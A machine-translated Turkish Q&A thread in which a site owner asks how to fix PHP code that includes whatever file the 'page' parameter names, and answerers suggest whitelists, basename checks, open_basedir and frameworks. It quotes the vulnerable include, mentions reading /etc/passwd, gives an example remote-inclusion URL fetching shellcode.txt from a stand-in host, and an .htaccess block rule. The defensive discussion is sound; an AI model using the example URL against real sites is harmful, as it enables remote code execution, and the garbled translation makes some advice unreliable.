PHP kod enjeksiyonu önlemek için en iyi yol

10 Cevap php

Benim web sitesi yakın masum bir kod olarak bana ne gibi görünüyordu, tarafından saldırıya uğradı:

<?php
  if ( isset( $ _GET['page'] ) ) {
    include( $ _GET['page'] . ".php" );
  } else {
    include("home.php");
  }
?>

Orada, bu yüzden SQL Enjeksiyon için korkuyor hiçbir SQL çağrıları değildi nerede. Ancak, görünüşe göre, SQL enjeksiyon tek tür değildir.

Bu web sitesi bir açıklama vardır ve kaçınarak kod enjeksiyonu birkaç örnek: http://www.theserverpages.com/articles/webmasters/php/security/Code_Injection_Vulnerabilities_Explained.html

Nasıl kod enjeksiyon bu kodu korumak istiyorsunuz?

10 Cevap

Bir beyaz liste kullanın ve sayfa beyaz listeye olduğundan emin olun:

  $whitelist = array('home', 'page');

  if (in_array($_GET['page'], $whitelist)) {
        include($_GET['page'].'.php');
  } else {
        include('home.php');
  }

Girdiyi başka bir yolu emin yalnızca izin verilen karakterleri emin olmaktır (hayır "/", "." ":", ...) Içinde. Ancak bad karakter için bir kara liste, ama izin verilen karakter için bir beyaz liste kullanmayın:

$page = preg_replace('[^a-zA-Z0-9]', '', $page);

... Bir file_exists izledi.

Sadece komut idam olmak istiyorum emin olabilirsiniz bu şekilde (izin verilmez çünkü "." Örneğin bu, bir "blabla.inc.php" ekarte ederim) yürütülür.

Not: Bu tür bir öyle bütün yasaklanmış karakterleri kaldırarak, çünkü o, kullanıcı "ev" yürütebilir ve "ev" sayfasını verecek çünkü, "hack". Bu sayfa ile şirin şeyler istiyoruz "smartasses" durdurmak amacıyla değil, ama insanlar really bad şeyler yapıyor durdurmak olacaktır.

BTW: Eğer yapabileceği başka bir şey .htaccess dosya açık saldırı girişimlerini önlemek için:

RewriteEngine on
RewriteCond %{QUERY_STRING} http[:%] [NC]
RewriteRule .* /–http– [F,NC]
RewriteRule http: /–http– [F,NC]

Tüm sayfa "http:" ile erişir bu şekilde url (ve sorgu dizesi) bile php komut dosyası ulaşan değil "Yasak" hata mesajı neden. Bu daha az sunucu yükü sonuçlanır.

Ancak hiçbir "http" Sorgu dizesinde izin unutmayın. (Bir formu doldururken belki) web sitesi, bazı durumlarda bunu gerektirebilir olabilir.

BTW: Almanca okuyabilir: Ben de bu konuyla ilgili bir blog post var.

Kullanıcı girişi kabul her zaman # 1 kuralı bunu sterilize. Eklemek içine geçiyoruz önce burada, sizin sayfa GET değişkeni hijyen değil. Sen bunu eklemek için önce dosya sunucuda olup olmadığını görmek için bir temel kontrolü yapmalıdır.

Pek, sql enjeksiyon için ek endişelenecek çok şey, ya da kod enjeksiyon hatta farklı türleri vardır. Şimdi genel olarak web uygulama güvenliği içine biraz daha bakmak için iyi bir zaman olabilir.

moving from desktop to web development bir önceki soruya, şunları yazdım:

OWASP Guide to Building Secure Web Applications and Web Services (all web geliştiricileri olmalı) ciddi güvenlik almak istediği herhangi bir web geliştiricisi için zorunlu bir okuma olmalıdır. Güvenlik düşünmeye zaman gerekli zihniyet ile bu yardım takip için birçok ilke vardır.

Kocaman bir belgeyi okurken sizin için değilse, o zaman Mike Andrews geri birkaç yıl How To Break Web Software yaklaşık Google'da verdiği seminerin video bir göz var.

pek, kısa vadeli bir düzeltme için diğer kullanıcılar tarafından önerilen çözümlerden birini uygulayabilirsiniz. Eğer should mevcut web çerçevelerin birine göç düşünün uzun vadeli bir plan bir orta için. Onlar yönlendirme ve güvenilir, güvenli bir şekilde dosyaları dahil gibi tüm düşük seviyeli şeyler işlemek, böylece temel işlevleri odaklanabilirsiniz.

Do not reinvent the wheel. Use a framework. Bunlardan biri hiç yoktan iyidir. Bunu öğrenme ilk kez yatırım neredeyse anında geri öder.

Ben aynı dizinde dosyaları ile uğraşmak farz ediyorum:

<?php
if (isset($_GET['page']) && !empty($_GET['page'])) {
  $page = urldecode($_GET['page']);
  $page = basename($page);
  $file = dirname(__FILE__) . "/{$page}.php";
  if (!file_exists($file)) {
    $file = dirname(__FILE__) . '/home.php';
  }
} else {
  $file = dirname(__FILE__) . '/home.php';
}
include $file;
?>

Bu çok hoş değil, ama sorunu çözmek gerekir.

Bazı iyi yanıtlar kadar, aynı zamanda PHP özellikleri bir çift dışarı işaret değer:

Dosya açık fonksiyonlar kullanmak wrappers, farklı protokolleri desteklemek. Bu diğerleri arasında, yerel bir pencere ağ, HTTP ve FTP üzerinden dosyaları açmak için yeteneğini de içerir. Böylece varsayılan yapılandırmasında, özgün söz kodu kolayca internet ve ötesinde herhangi bir keyfi dosyayı açmak için kullanılabilir; (webbserver kullanıcı okuma olabilir) sunucunun yerel disklerdeki tüm dosyaları dahil, tabii ki. /etc/passwd her zaman eğlenceli biridir.

Güvenli mod ve open_basedir erişilen belirli bir dizin dışında dosyaları kısıtlamak için kullanılabilir.

Ayrıca kullanışlı yapılandırma ayarı allow_url_fopen , which can disable URL access to files, when using the file open functions. ini-set zamanında set ve unset bu değer için kullanılır olabilir.

Bunların hepsi güzel sonbahar-geri güvenlik korumaları, ancak dosya eklenmesi için bir beyaz liste kullanın lütfen.

I know this is a very old post and I expect you don't need an answer anymore, but I still miss a very important aspect imho and I like it to share for other people reading this post. In your code to include a file based on the value of a variable, you make a direct link between the value of a field and the requested result (page becomes page.php). I think it is better to avoid that. There is a difference between the request for some page and the delivery of that page. If you make this distinction you can make use of nice urls, which are very user and SEO friendly. Instead of a field value like 'page' you could make an URL like 'Spinoza-Ethica'. That is a key in a whitelist or a primary key in a table from a database and will return a hardcoded filename or value. That method has several advantages besides a normal whitelist:

  1. arka uç tepkisi ön isteği etkili bağımsızdır. Eğer farklı arka uç sistemi kurmak istiyorsanız, ön ucunda bir şey değiştirmek zorunda değilsiniz.

  2. Eğer yanıt oluşturmaya istek bilgilerin faydalanmak zaman bela çünkü her zaman emin veritabanı (bir saklı yordam bir dönüş değeri preferrabley), gelen kodlanmış dosya veya eşdeğeri ile sona olun.

  3. Lütfen URL'ler arka ucundan teslim bağımsız Çünkü bu tür bir değişimi için htaccess dosyasında URL'leri yeniden yazmak zorunda kalmayacaksınız.

  4. Kullanıcıya temsil URL'ler belgenin içeriği hakkında kullanıcıyı bilgilendirmek, kullanıcı dostudur.

  5. Arama motorları ilgili içerik arayışı içinde olan ve URL içeriği ile uyumlu olduğunda daha iyi bir oran olsun çünkü güzel URL'ler, SEO için çok iyi. En azından daha iyi bir oran daha sonra içerik içerik doğrultusunda kesinlikle değil zaman.

  6. Eğer bir php dosyasına doğrudan bağlantı yoksa, bunu işleme önce güzel URL'yi istek başka tür çevirebilirsiniz. Yani programcı çok daha fazla esneklik verir.

  7. Eğer standart bir untrustfull kaynağı (Web kalanı) den bilgi almak çünkü, isteği sterilize etmek zorunda kalacak. Döndürülen URL kendi biçimini uygun olmadığını kontrol edebilirsiniz çünkü mümkün giriş olarak sadece güzel URL'leri kullanarak, çok daha basit URL sanitization işlemi yapar. Güzel URL biçimi patlatır yaygın kullanılan karakterleri içermediğinden emin olun (mesela ', ", <,>, -, ve, vs.).

@ PEK - diziniz tuşları 0 ve 1 gibi bu 'ev' ve 'sayfa', değil çalışmaz.

Bu kod hile yapmak gerekir, ben inanıyorum:

<?php

$whitelist = array(
  'home',
  'page',
);

if(in_array($_GET['page'], $whitelist)) {
  include($_GET['page'] . '.php');
} else {
  include('home.php');
}

?>

Eğer bir beyaz var gibi, ya file_exists() için bir ihtiyaç olmamalıdır.

URL düşünün bu biçimdedir:

www.yourwebsite.com/index.php?page = http://malicodes.com/shellcode.txt

Shellcode.txt SQL veya PHP enjeksiyon biterse, o zaman web sitenizin doğru, risk altında olacak? Bir beyaz liste ile yardımcı olacağını, bu düşünüyor musunuz.

Hack önlemek için tüm değişkenleri filtrelemek için bir yol yoktur. Sen hack önlemek için PHP IDS veya OSE Security Suite'i kullanabilirsiniz. Güvenlik paketi yükledikten sonra, paketi etkinleştirmek gerekiyor, burada bir kılavuzdur:

http://www.opensource-excellence.com/shop/ose-security-suite/item/414.html

Ben, katmandaki sonra tüm POST 2 korumasını açmak önermek ve / değişkenler bahsettiğim özellikle birini süzülmüş olacak, ve bulunan saldırılar varsa, hemen size rapor verecek GET olur

Güvenlik her zaman öncelik